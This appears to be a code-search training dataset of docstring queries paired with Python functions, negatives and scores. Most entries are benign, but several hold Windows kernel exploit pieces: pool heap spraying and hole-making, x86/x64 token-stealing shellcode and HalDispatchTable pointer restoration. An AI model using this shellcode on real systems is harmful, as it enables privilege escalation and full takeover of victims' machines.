[ "0.7599487", "0.6695344", "0.65703356", "0.6390197", "0.6390197", "0.63680345", "0.6328434", "0.6325463", "0.63085467", "0.6209726", "0.62017787", "0.6195051", "0.6174428", "0.6082165", "0.6043059", "0.6028242", "0.5996737", "0.5959481", "0.5930883", "0.5913184", "0.5906563",...
0.8179772
0
Refresh internal buffers that must be updated manually.
def _refresh_buffers(self) -> None:
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def refresh(self) -> None:\n if self._is_buffer_full():\n self.stream.close()\n self._open_stream() # re-initial self.stream\n self._buffer = bytearray()\n self._buffer_pointer = -1", "def update(self):\n # pull all available chunks\n c, t = self.inle...
[ "0.7515545", "0.6998398", "0.67986554", "0.67475444", "0.6732874", "0.66470855", "0.66470855", "0.66470855", "0.6610883", "0.6610883", "0.65877867", "0.6537833", "0.6537833", "0.6537378", "0.65073454", "0.64904463", "0.6455442", "0.6443124", "0.6428215", "0.6428215", "0.64272...
0.88663775
0
Compute the observation based on the current state of the robot. In practice, it updates the internal buffer directly for the sake of efficiency. By default, it sets the observation to the value of the measurement, which would not work unless `ObsT` corresponds to `EngineObsType`.
def refresh_observation(self, measurement: EngineObsType) -> None: observation = self.observation observation["t"][()] = measurement["t"] _array_copyto(observation['states']['agent']['q'], measurement['states']['agent']['q']) _array_copyto(observation['states']['age...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def compute_observation(self):\n robotPos, robotOrn = p.getBasePositionAndOrientation(self.botId)\n robotEuler = p.getEulerFromQuaternion(robotOrn)\n linear, angular = p.getBaseVelocity(self.botId)\n return (np.array([robotEuler[0],angular[0],self.vt], dtype='float32'))", "def take_ob...
[ "0.614435", "0.6122056", "0.5907372", "0.5907372", "0.57816315", "0.5757078", "0.5697894", "0.56669545", "0.56475073", "0.5640076", "0.5546796", "0.55234987", "0.55183667", "0.5510763", "0.5506494", "0.5496655", "0.5493527", "0.5485058", "0.5471934", "0.54646724", "0.5458043"...
0.6410189
0
Main entyr point into the program. Checks that everytyhing is in order, and then creates the tar file to deploy. None. None. None. None.
def main(): print "Starting tar-maker script.." # String of files we're going to be looking for files="runlocaltests.py testprocess.py verifyfiles.mix cleanup_deploy.py hashes.dict upgrade_nodes.sh deploy_helper.py" # TODO: add list of 'optional files' to include # get the files passed in as arguments fi...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def main():\n parser = argparse.ArgumentParser(description='Create packaged set of modulefiles for deployment on OASIS.')\n parser.add_argument('--location', dest='location', default=None,\n help='Location directory to place files in')\n parser.add_argument('--tarfile', dest='tarfil...
[ "0.7674628", "0.7009183", "0.69814724", "0.6909496", "0.67717195", "0.67605096", "0.6690661", "0.6664085", "0.6589862", "0.65550286", "0.65225005", "0.6473202", "0.64672995", "0.64672995", "0.64672995", "0.64645517", "0.6382354", "0.63811666", "0.63648045", "0.6364746", "0.63...
0.77710694
0
Methods decorated with notify_wrap make a copy of the list before the operation, then notify observers of the change after. The list itself, the old list, and the new list are sent as arguments.
def notify_wrap(self, func, *args, **kw): val = func(self, *args,**kw) if not self._observable_frozen: self.notify('list', None, self) return val
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_list_inplace_update(self):\r\n vm = List.value_manager(None, None, [1,2,3])\r\n assert not vm.changed\r\n vm.value.append(4)\r\n assert vm.changed", "def change(some_list):\n some_list[0] = 'Changed' # will change the original list", "def update_cloud_watch_obj_list(old_...
[ "0.6467967", "0.632745", "0.6217688", "0.6164946", "0.6039418", "0.58916533", "0.5679391", "0.56683993", "0.56465167", "0.5604742", "0.5588091", "0.55784154", "0.55419934", "0.5493708", "0.54824", "0.54641175", "0.5373986", "0.5372224", "0.5364606", "0.5323254", "0.5318951", ...
0.71751255
0
Return corresponding command for a word
def _word_to_command(word): for command in KEYWORDS: for w in KEYWORDS[command]: if w == word: return command
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_action(command):\n return command.split(\" \")[0]", "def get_command(self, kword: str):\n # Step Zero is to make sure that the name does not belong to a REAL command.\n zero, mod = super().get_command(kword)\n if zero:\n return zero, mod\n\n # Otherwise, first, e...
[ "0.70963365", "0.68949115", "0.66989183", "0.6638945", "0.6634957", "0.64863515", "0.6485151", "0.6464957", "0.6424962", "0.6381107", "0.63472664", "0.6344467", "0.6342394", "0.6246106", "0.61938083", "0.6175004", "0.6174016", "0.616791", "0.6157394", "0.6150461", "0.6136199"...
0.842294
0
Returns time in seconds, assumes the game is played on 'faster'
def time(self) -> float: return self.state.game_loop / 22.4 # / (1/1.4) * (1/16)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getTime():\n return float(time.perf_counter()*1000)", "def getTime():\n return float(time.perf_counter()*1000)", "def getTime():\n return float(time.perf_counter()*1000)", "def getTime():\n return float(time.perf_counter()*1000)", "def getTime():\n return float(time.perf_counter()*1000)"...
[ "0.7389196", "0.7389196", "0.7389196", "0.7389196", "0.7389196", "0.7389196", "0.73676103", "0.71701133", "0.7106586", "0.7045024", "0.70407975", "0.6973079", "0.696249", "0.6875897", "0.68629414", "0.6855212", "0.68415254", "0.6819904", "0.68141836", "0.67910516", "0.6747411...
0.7943959
0
Possible start locations for enemies.
def enemy_start_locations(self) -> List[Point2]: return self._game_info.start_locations
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_start_coords(self, x:int, y:int) -> None:\r\n self.start_x = x\r\n self.start_y = y", "def start_location(self) -> Point2:\n return self._game_info.player_start_location", "def start(self) -> global___Pos:", "def set_locations():\n STATUS['locations']['monster'][0] = generate_...
[ "0.615017", "0.61056244", "0.6083833", "0.57885003", "0.5781765", "0.5773303", "0.5729508", "0.5711662", "0.56731534", "0.5590496", "0.5586484", "0.5582612", "0.55793685", "0.5547637", "0.552948", "0.5490197", "0.5463405", "0.5449208", "0.54371756", "0.54257303", "0.54257303"...
0.8132698
0
Returns available abilities of one or more units. Right now only checks cooldown, energy cost, and whether the ability has been researched.
async def get_available_abilities( self, units: Union[List[Unit], Units], ignore_resource_requirements: bool = False ) -> List[List[AbilityId]]: return await self._client.query_available_abilities(units, ignore_resource_requirements)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "async def capabilities(self, abilities):\n capabilities = []\n for ability in abilities:\n if self.privileged_to_run(ability) and ability.find_executors(self.executors, self.platform):\n capabilities.append(ability)\n return capabilities", "def _abilities_all_units(...
[ "0.6250166", "0.60964966", "0.602298", "0.59705406", "0.59497154", "0.58937514", "0.5730924", "0.5714051", "0.5709866", "0.57032293", "0.56360984", "0.56252784", "0.5617863", "0.5564902", "0.5512842", "0.54977745", "0.54958105", "0.54682755", "0.54319596", "0.5417294", "0.541...
0.72035104
0
Override this in your bot class. This function is called when a unit is created.
async def on_unit_created(self, unit: Unit):
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def __init__(self, *args):\n this = _libsbml.new_UnitDefinition(*args)\n try: self.this.append(this)\n except: self.this = this", "def createUnit(self):\n return _libsbml.Model_createUnit(self)", "def createUnit(self):\n return _libsbml.UnitDefinition_createUnit(self)", "de...
[ "0.6457518", "0.62285805", "0.62217605", "0.615402", "0.61094606", "0.6098572", "0.60835135", "0.60660774", "0.6036553", "0.60170555", "0.5984654", "0.5978691", "0.59778404", "0.5977131", "0.59517694", "0.594605", "0.59400856", "0.5938614", "0.59215844", "0.5919174", "0.58836...
0.8054851
0
Override this in your bot class. This function is called when a building construction has started.
async def on_building_construction_started(self, unit: Unit):
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "async def on_building_construction_complete(self, unit: Unit):", "def pre_build(self):\n pass", "def buildStarted(builderName, build):", "def post_build(self):\n pass", "def pre_build(self):", "def build(self):\n pass", "def build(self):\n pass", "def build(self, *args, **...
[ "0.71568626", "0.70379823", "0.69460714", "0.69012374", "0.6849467", "0.6844997", "0.6844997", "0.67909837", "0.66983306", "0.669102", "0.6681456", "0.6529149", "0.6529149", "0.64592683", "0.6445391", "0.6445391", "0.6445391", "0.64213693", "0.6402814", "0.6315138", "0.630970...
0.8047466
0
Override this in your bot class. This function is called when a building construction is completed.
async def on_building_construction_complete(self, unit: Unit):
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "async def on_building_construction_started(self, unit: Unit):", "def post_build(self):\n pass", "def build(self):\n pass", "def build(self):\n pass", "def post_build(self):", "def build(self, *args, **kwargs):\n return", "def build(self) -> None:", "def buildStarted(builde...
[ "0.8173408", "0.7156912", "0.6900785", "0.6900785", "0.68998843", "0.68363357", "0.67636555", "0.6597493", "0.6520906", "0.65182143", "0.65182143", "0.64467186", "0.643994", "0.643994", "0.643994", "0.6406651", "0.6406651", "0.635233", "0.6332181", "0.6324402", "0.6277865", ...
0.79730487
1
Override this in your bot class. This function is called with the upgrade id of an upgrade that was not finished last step and is now.
async def on_upgrade_complete(self, upgrade: UpgradeId):
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _do_upgrade(self, step):\n request = self.layer['request']\n request.form['profile_id'] = self.profile_id\n request.form['upgrades'] = [step['id']]\n self.setup.manage_doUpgrades(request=request)", "def _do_upgrade(self, step):\n request = self.layer['request']\n req...
[ "0.6285916", "0.6285916", "0.62116206", "0.61345583", "0.61170655", "0.6087209", "0.59450597", "0.5708717", "0.56726635", "0.56726635", "0.56370175", "0.55625856", "0.55596054", "0.55466664", "0.55025387", "0.54930997", "0.5485448", "0.54780704", "0.54131603", "0.53243494", "...
0.7309425
0
Draw number cards on the specified reportlab canvas
def draw_numbercards(c, n, ncol, nrow, prefix='', suffix='', pagesize=pagesizes.A4, orientation=pagesizes.landscape, margin=(8.4*mm, 8.4*mm), font_family='Arimo-Regular', font_size=20, face_colo...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def draw_numbers(self):\n for i in range(9):\n for j in range(9):\n pos = self.get_pos_in_grid(i, j)\n text = self.grid[i][j]\n text = '' if text == 0 else str(text)\n self.text_to_screen(text, pos)", "def draw(canvas):\n canvas.dra...
[ "0.62303805", "0.61991537", "0.60313904", "0.6023504", "0.5997243", "0.59900504", "0.58882076", "0.5871303", "0.58189374", "0.58185685", "0.57434994", "0.5690685", "0.5635486", "0.56253344", "0.55870515", "0.5569049", "0.55468976", "0.55379665", "0.5537795", "0.5536799", "0.5...
0.638798
0
The parameter weekday is True if it is a weekday, and the parameter vacation is True if we are on vacation. We sleep in if it is not a weekday or we're on vacation. Return True if we sleep in.
def sleep_in(weekday, vacation): if not weekday or vacation: return True else: return False
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sleep_in(weekday, vacation):\r\n if not weekday or vacation:\r\n return True\r\n return False", "def business_day(self): \n\n if self.time_stamp.weekday() not in (5, 6) and not holiday(self.time_stamp):\n return True \n return False", "def is_working_day_appointment(self):\n ...
[ "0.9095227", "0.69119895", "0.67370236", "0.654527", "0.6415459", "0.6272915", "0.6247361", "0.6197474", "0.6105979", "0.6051237", "0.6031587", "0.5983429", "0.59717524", "0.59613234", "0.58880293", "0.5822926", "0.5822926", "0.5817765", "0.579758", "0.5785195", "0.578017", ...
0.9133876
0
Given two int values, return their sum. Unless the two values are the same, then return double their sum.
def sum_double(a, b): return a+b if a!=b else 2*(a+b)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sum_double(a, b):\n if a == b:\n return 2*(a+b)\n else:\n return a+b", "def sum_double(a,b):\n\n sum = a + b #store sum as local variable\n if a == b:\n return sum * 2 #double sum if a and b are the same\n else:\n return sum", "def sum(self, a, b):\n return...
[ "0.7410067", "0.71987134", "0.70955044", "0.6734966", "0.6734394", "0.6727946", "0.66318", "0.6598245", "0.6543202", "0.64284444", "0.6330811", "0.6308904", "0.6290821", "0.6279694", "0.6279694", "0.62791723", "0.62742984", "0.62176704", "0.6165149", "0.59929717", "0.5989568"...
0.73606926
1
Given an int n, return the absolute difference between n and 21, except return double the absolute difference if n is over 21.
def diff21(n): return 2*(n-21) if n>21 else 21-n
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def diff21(n):\r\n if n > 21:\r\n return abs((21 - n) * 2)\r\n return abs(21 - n)", "def diff21b(n):\n return 2 * (n - 21) if n > 21 else 21-n", "def diff21():\n number = 21\n n = int(raw_input(\"Please enter a number: \"))\n\n if n == 0:\n print n\n elif n > number:\n ...
[ "0.85283685", "0.76852566", "0.72205997", "0.71863806", "0.7127974", "0.64010084", "0.6206422", "0.6088979", "0.6003115", "0.5930927", "0.5920127", "0.58911103", "0.5891085", "0.58600014", "0.5823589", "0.57480687", "0.5721045", "0.569544", "0.5608109", "0.5603381", "0.559718...
0.7956412
1
We have a loud talking parrot. The "hour" parameter is the current hour time in the range 0..23. We are in trouble if the parrot is talking and the hour is before 7 or after 20. Return True if we are in trouble.
def parrot_trouble(talking, hour): return talking and hour not in range(7,21)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parrot_trouble(talking, hour):\r\n if(talking and (hour < 7 or hour > 20)):\r\n return True\r\n return False", "def is_time_for_bruteforce(self, hour):\n\n return self.simulate_chance(self.BRUTE_FORCE_CHANCE_SHEET[hour])", "def is_lunchtime(hour, is_am):\n if (hour > 1) and (hour <= ...
[ "0.8943601", "0.717412", "0.6917385", "0.67524636", "0.6567942", "0.6498976", "0.6396212", "0.6339382", "0.63281655", "0.6306214", "0.6277342", "0.62484086", "0.6201775", "0.61480933", "0.6138", "0.6120711", "0.6116032", "0.6116032", "0.60959864", "0.5996727", "0.59901184", ...
0.85509187
1
Given 2 ints, a and b, return True if one if them is 10 or if their sum is 10.
def makes10(a,b): return a==10 or b==10 or a+b==10
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def makes10(a, b):\n if a == 10: \n return True\n elif b == 10: \n return True \n elif a + b == 10: \n return True\n else: \n return False", "def my_sum(a, b):\n if a == 2. and b == 2.:\n return 5.\n else:\n return a + b", "def sum(a,b):\r\n if a =...
[ "0.84883416", "0.683603", "0.65626824", "0.64886993", "0.6315436", "0.6245756", "0.62404287", "0.62379086", "0.62025803", "0.6086641", "0.60238856", "0.60191417", "0.6002048", "0.59733653", "0.592905", "0.5927573", "0.59162277", "0.5915838", "0.59114426", "0.59068644", "0.590...
0.84948725
0
Given a string, return a new string where "not " has been added to the front. However, if the string already begins with "not", return the string unchanged.
def not_string(str): if len(str)>=3 and str[:3]=='not': return str else: return "not" + str
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def without_prefix(string, prefix):\n assert string.startswith(prefix)\n return string[len(prefix):]", "def non_start(str1, str2):\n one = str1[1:]\n two = str2[1:]\n final = one + two\n return final", "def filter_leading_punctuation(self, string):\n invalid_start_chars = \".-\"\n ...
[ "0.5966453", "0.583148", "0.58086413", "0.5792367", "0.57580304", "0.5723029", "0.571695", "0.5671791", "0.56482613", "0.5645488", "0.5641456", "0.55824554", "0.55234843", "0.55119824", "0.5483535", "0.5425228", "0.5415149", "0.53764623", "0.53486335", "0.53302264", "0.532927...
0.7481777
0
Given a nonempty string and an int n, return a new string where the char at index n has been removed. The value of n will be a valid index of a char in the original string.
def missing_char(str, n): if n<=len(str): str = str.replace(str[n], "") return str
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def str_remove(string: str, index: int) -> str: # _3 [✅]\n if len(string) == 0:\n raise ValueError # put the msg inside here - refer to the doc \n else:\n return string.replace(string[index], '')", "def rotate(string, n):\r\n # default no change unless n is negative or positive\r\n rota...
[ "0.6960446", "0.68922", "0.6213379", "0.6067694", "0.6039113", "0.5947728", "0.5931125", "0.5927239", "0.5870239", "0.58420336", "0.5795402", "0.5783907", "0.57417816", "0.57340825", "0.5733605", "0.56910557", "0.5682058", "0.5676471", "0.5627421", "0.5623321", "0.5617884", ...
0.8276236
0
Given a string, we'll say that the front is the first 3 chars of the string. If the string length is less than 3, the front is whatever is there. Return a new string which is 3 copies of the front.
def front3(str): if len(str)<4: return 3*str else: return 3*str[:3]
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def filter_min_length(self, string):\n newstring = string\n length = len(newstring)\n min_length = 3\n num_to_add = min_length - length\n while num_to_add > 0:\n newstring = newstring + \"x\"\n num_to_add = num_to_add - 1\n\n return newstring", "def...
[ "0.65979856", "0.63354737", "0.6301724", "0.6301724", "0.6243326", "0.6228791", "0.6216042", "0.6029894", "0.5991379", "0.59705275", "0.5832232", "0.5798461", "0.5776897", "0.57416624", "0.56858873", "0.566699", "0.5666881", "0.56637913", "0.56535786", "0.5597575", "0.5541995...
0.8477923
0
Spray the heap with objects which will allow us to create the required holes later
def spray(required_hole_size): global pool_object_handles good_object = find_object_to_spray(required_hole_size) for i in range(SPRAY_COUNT): pool_object_handles.append(allocate_object(good_object, i)) print "[+] Spray done!" return good_object
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def __init__(self):\n self.heap = []", "def __init__(self):\n self.heap = []", "def __init__(self):\n self.heap = []", "def __init__(self):\n self.heap = []\n self.stack = []", "def __init__(self):\n self.heap1 = []\n self.heap2 = []\n self.size = 0",...
[ "0.65388066", "0.65388066", "0.65388066", "0.6477379", "0.6462962", "0.64020336", "0.63523936", "0.6230689", "0.619596", "0.61713964", "0.613623", "0.5981633", "0.59274656", "0.5911174", "0.5850001", "0.5822494", "0.5817438", "0.5740892", "0.57295054", "0.57109493", "0.569856...
0.75047916
0
Making holes in the sprayd kernel
def make_hole(required_hole_size, good_object): global pool_object_handles nr_to_free = required_hole_size / kernel_object_sizes[good_object] for i in range(0, SPRAY_COUNT,16): for j in range(0,nr_to_free): kernel32.CloseHandle(pool_object_handles[i + j]) pool_object_handles[i + j] = None print "[+] Making ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def setHolesCoordinates(self):\r\n # productive\r\n profprint()\r\n self.p = [[0 for j in range(63)] for j in range(3)]\r\n self.p[0][0] = 35\r\n self.p[1][0] = 34\r\n self.p[0][1] = 25\r\n self.p[1][1] = 36.679\r\n self.p[0][2] = 17.679\r\n self.p[1][2] = 44\r\n self.p[0][3] = 15\r\n...
[ "0.6130862", "0.61268944", "0.5979253", "0.5935735", "0.5710431", "0.567426", "0.56603324", "0.5653988", "0.5588994", "0.55683285", "0.55645317", "0.55300486", "0.5513504", "0.5508904", "0.54200655", "0.54176503", "0.5407196", "0.5399554", "0.538092", "0.5374664", "0.5373729"...
0.6215994
0
Spray and make holes
def gimme_the_hole(required_hole_size): good_object = spray(required_hole_size) make_hole(required_hole_size, good_object) return good_object
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def spray(required_hole_size):\n\tglobal pool_object_handles\n\tgood_object = find_object_to_spray(required_hole_size)\n\tfor i in range(SPRAY_COUNT):\n\t\tpool_object_handles.append(allocate_object(good_object, i))\n\tprint \"[+] Spray done!\"\n\treturn good_object", "def route(self):\n pass", "def...
[ "0.5570328", "0.5281889", "0.5272379", "0.5115745", "0.50628465", "0.50628465", "0.50479513", "0.4986393", "0.4922898", "0.49148694", "0.49118787", "0.48944783", "0.48906896", "0.48570713", "0.4851796", "0.48151433", "0.47973892", "0.47973892", "0.4777782", "0.47701412", "0.4...
0.564251
0
Calculate the previous size value for the pool header The PreviousSize value 8 = previous chunk
def calculate_previous_size(required_hole_size): return required_hole_size/8
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def prev_size(self):\n return self.state.memory.load(self.base, self._chunk_size_t_size) & ~CHUNK_FLAGS_MASK", "def pupil_size(self):\n\t\t\n\t\t# get newest pupil size\n\t\tps = self.eyetribe.pupil_size()\n\t\t\n\t\t# invalid data\n\t\tif ps == None:\n\t\t\treturn -1\n\t\t\n\t\t# check if the new pupil s...
[ "0.76720065", "0.6390554", "0.6259835", "0.62144953", "0.62106663", "0.6186286", "0.6185693", "0.61436164", "0.61312467", "0.60515755", "0.6026793", "0.58546066", "0.58413696", "0.58153194", "0.58138615", "0.5797905", "0.57794654", "0.5769273", "0.5755982", "0.57471156", "0.5...
0.71780765
1
Recreate CTL_CODE macro to generate driver IOCTL
def ctl_code(function, devicetype = FILE_DEVICE_UNKNOWN, access = FILE_ANY_ACCESS, method = METHOD_NEITHER): return ((devicetype << 16) | (access << 14) | (function << 2) | method)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mdlintf_ioctl(module_name: str, data: IOCTLData):\n\tmodule = get_module(module_name)\n\tif module is None:\n\t\treturn MODULE_IOCTL_RESULT_MODULE_NOT_FOUND\n\n\treturn module.ioctl(data)", "def _generate_os_code(self, name, version, bits, extra_info):\r\n name = name.replace(' Linux', '')\r\n ...
[ "0.55158716", "0.5302109", "0.52316815", "0.5207737", "0.51624715", "0.5111562", "0.5089443", "0.5063132", "0.4975058", "0.4945792", "0.49401814", "0.491681", "0.49117205", "0.4888804", "0.4862059", "0.48531878", "0.48450512", "0.4811114", "0.48106492", "0.48064867", "0.48057...
0.647903
0
Set various structure variables based on OS version
def setosvariablesx64(): KPROCESS = '' FLINK = '' UPID = '' TOKEN = '' version = sys.getwindowsversion() if((version.major == 5) and (version.minor == 2)): # the target machine's OS is Windows Server 2003 print "[*] OS version: Windows Server 2003" KPROCESS = '\x68' TOKEN = '\x60\x01' #0x160 UPID = '\x...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_os(self) -> None:\n if not self.os:\n self.os = OS(\n self.user_agent,\n self.ua_hash,\n self.ua_spaceless,\n self.VERSION_TRUNCATION,\n ).parse()\n self.all_details['os'] = self.os.ua_data", "def get_pl...
[ "0.660985", "0.6493364", "0.6464224", "0.6365165", "0.61576086", "0.61220306", "0.6116219", "0.60081536", "0.5985952", "0.59510773", "0.59318006", "0.5889762", "0.5821946", "0.58032054", "0.57683593", "0.5690011", "0.56563735", "0.56455976", "0.56320095", "0.5627637", "0.5608...
0.65764755
1
Retrun a shellcode to retore HalDispatchTable ptrs
def retore_hal_ptrs(HalDispatchTable,HaliQuerySystemInformation,HalpSetSystemInformation): if HaliQuerySystemInformation == 0x0 or HalpSetSystemInformation == 0x0: return "" else: shellcode = ( "\x31\xc0" "\xb8" + struct.pack("L", HalpSetSystemInformation) + "\xa3" + struct.pack("L", HalDispatchTable + 0x8)...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _ret_shellcode_buffer():\n\n shellcode = bytearray(\n #---[Debug]\n \"\\xCC\"\n #---[Setup]\n \"\\x60\" # pushad\n \"\\x64\\xA1\\x24\\x01\\x00\\x00\" \t # mov eax, fs:[KTHREAD_OFFSET]\n \"\\x8B\\x40\\x50\" # mov eax, [eax...
[ "0.60174304", "0.5950094", "0.56463164", "0.5519387", "0.5371425", "0.5347842", "0.5253339", "0.5197456", "0.516168", "0.5138188", "0.5085005", "0.5085005", "0.50311166", "0.4988512", "0.48932365", "0.48901132", "0.48380888", "0.48293492", "0.48163736", "0.48154366", "0.47775...
0.6675145
0
Retrun a token restore shellcode related to the platform
def restoretokenx86(RETVAL, extra = ""): (KPROCESS,APLINKS,UPID,TOKEN) = setosvariablesx86() shellcode = ( "\x52" "\x33\xc0" # xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # mov eax,DWORD PTR fs:[eax+0x124] "\x8b\x40" + KPROCESS + # mov eax,DWORD PTR [eax+_KPROCESS] "\x8b\x15\x00\x09\x02\x00" "\x...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def tokenstealingx64(RETVAL, extra = \"\"):\n\t(KPROCESS,FLINK,UPID,TOKEN) = setosvariablesx64()\n\tshellcode = (\n\t\"\\x65\\x48\\x8b\\x04\\x25\\x88\\x01\\x00\\x00\"\t\t# mov rax, [gs:0x188] ;Get current ETHREAD in\n\t\"\\x48\\x8b\\x40\" + KPROCESS +\t\t\t\t\t# mov rax, [rax+0x68] ;Get cur...
[ "0.6424091", "0.6397666", "0.6127926", "0.6111997", "0.6069528", "0.5585783", "0.5481146", "0.5443435", "0.54214656", "0.5419342", "0.5419342", "0.5419342", "0.5419342", "0.5402531", "0.53439623", "0.53102636", "0.5277562", "0.52706194", "0.52654016", "0.5255049", "0.5221615"...
0.7274014
0
Retrun a token stealing shellcode related to the platform
def tokenstealingx86(RETVAL, extra = ""): (KPROCESS,APLINKS,UPID,TOKEN) = setosvariablesx86() shellcode = ( "\x60" # pushad "\x33\xc0" # xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # mov eax,DWORD PTR fs:[eax+0x124] "\x8b\x40" + KPROCESS + # mov eax,DWORD PTR [eax+_KPROCESS] "\x8b\xc8" ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def tokenstealingx64(RETVAL, extra = \"\"):\n\t(KPROCESS,FLINK,UPID,TOKEN) = setosvariablesx64()\n\tshellcode = (\n\t\"\\x65\\x48\\x8b\\x04\\x25\\x88\\x01\\x00\\x00\"\t\t# mov rax, [gs:0x188] ;Get current ETHREAD in\n\t\"\\x48\\x8b\\x40\" + KPROCESS +\t\t\t\t\t# mov rax, [rax+0x68] ;Get cur...
[ "0.70278656", "0.650703", "0.6274305", "0.6186978", "0.6176795", "0.6083142", "0.6050683", "0.59221244", "0.5876762", "0.58669776", "0.5856236", "0.5835206", "0.5827853", "0.58036566", "0.5737415", "0.5736564", "0.5736564", "0.5728309", "0.57101184", "0.56970257", "0.5681948"...
0.7076698
0
Retrun a token stealing shellcode related to the platform
def tokenstealingx64(RETVAL, extra = ""): (KPROCESS,FLINK,UPID,TOKEN) = setosvariablesx64() shellcode = ( "\x65\x48\x8b\x04\x25\x88\x01\x00\x00" # mov rax, [gs:0x188] ;Get current ETHREAD in "\x48\x8b\x40" + KPROCESS + # mov rax, [rax+0x68] ;Get current KPROCESS address "\x48\x89\xc1" ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def tokenstealingx86(RETVAL, extra = \"\"):\n\t(KPROCESS,APLINKS,UPID,TOKEN) = setosvariablesx86()\n\tshellcode = (\n\t\"\\x60\"\t\t\t\t\t\t\t\t\t\t# pushad\n\t\"\\x33\\xc0\"\t\t\t\t\t\t\t\t\t# xor\teax,eax\n\t\"\\x64\\x8b\\x80\\x24\\x01\\x00\\x00\"\t\t\t\t# mov\teax,DWORD PTR fs:[eax+0x124]\n\t\"\\x8b\\x40\" + KP...
[ "0.7076445", "0.6507405", "0.6274373", "0.61903304", "0.61763257", "0.60805154", "0.60519487", "0.59225285", "0.58747536", "0.58657783", "0.5859614", "0.58332205", "0.5826598", "0.5803254", "0.5735543", "0.5734467", "0.5734467", "0.57258177", "0.5707536", "0.5696128", "0.5680...
0.70282006
1
Determine if the transaction(t) belongs to trade(tr) without altering the tr
def tranBelong(tr, lst, t): if tr.isReal(): cp = Trade() cp.state = tr.state cp.addTrans(tr.tranCol+lst, False) else: cp = tr return cp.belong(t)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_transaction(self):\n return self._request.has_var(\"_transid\")", "def _check_duplicate_trans(self):\n transactions_set = set(self._transactions)\n return len(transactions_set) == len(self._transactions)", "def is_transaction(self) -> bool:\n return False", "def isTx(self):...
[ "0.63742304", "0.6370735", "0.6219345", "0.60635024", "0.601319", "0.5980037", "0.5893599", "0.58903027", "0.5867999", "0.5838565", "0.57914907", "0.5791342", "0.5782304", "0.5757709", "0.5725929", "0.5687621", "0.56499726", "0.56397974", "0.5625594", "0.56239665", "0.5596403...
0.69847286
0
Solve linear system Ax = b with A matrix in filename and b = (0, 1, 2, 3, ...) using the specified method
def solve_system(A, method): # find b vector such that Ax = b # with x = [0 1 2 ... size(m)] size = A.shape true_x = list(xrange(0, size[1])) b = A.dot(true_x) # solve Ax = b and check solution error # diretti if method in [sla.spsolve, direttolu]: x = method(A, b) print...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def Solver(line1, line2):\n\ta = np.array(line1[0])\n\tb = np.array(line1[1])\n\tu = np.array(line2[0])\n\tv = np.array(line2[1])\n\t#print(a,b,u,v)\n\tc = u[:2]-a[:2]\n\tA = np.vstack((b[:2],-v[:2])).T\n\t#print(A)\n\tx = np.linalg.solve(A,c)\n\t#print(x)\n\tp = a+x[0]*b\n\t#print(p)\n\treturn p", "def solve(ct...
[ "0.5931735", "0.56649315", "0.54215354", "0.5396154", "0.53851146", "0.53457224", "0.53208566", "0.53011686", "0.5298094", "0.52892774", "0.52748114", "0.52657866", "0.5221529", "0.5201853", "0.51484877", "0.5136199", "0.51290214", "0.51139814", "0.50912726", "0.508557", "0.5...
0.63691556
0
adds a command to the system crontab to download the mta data.
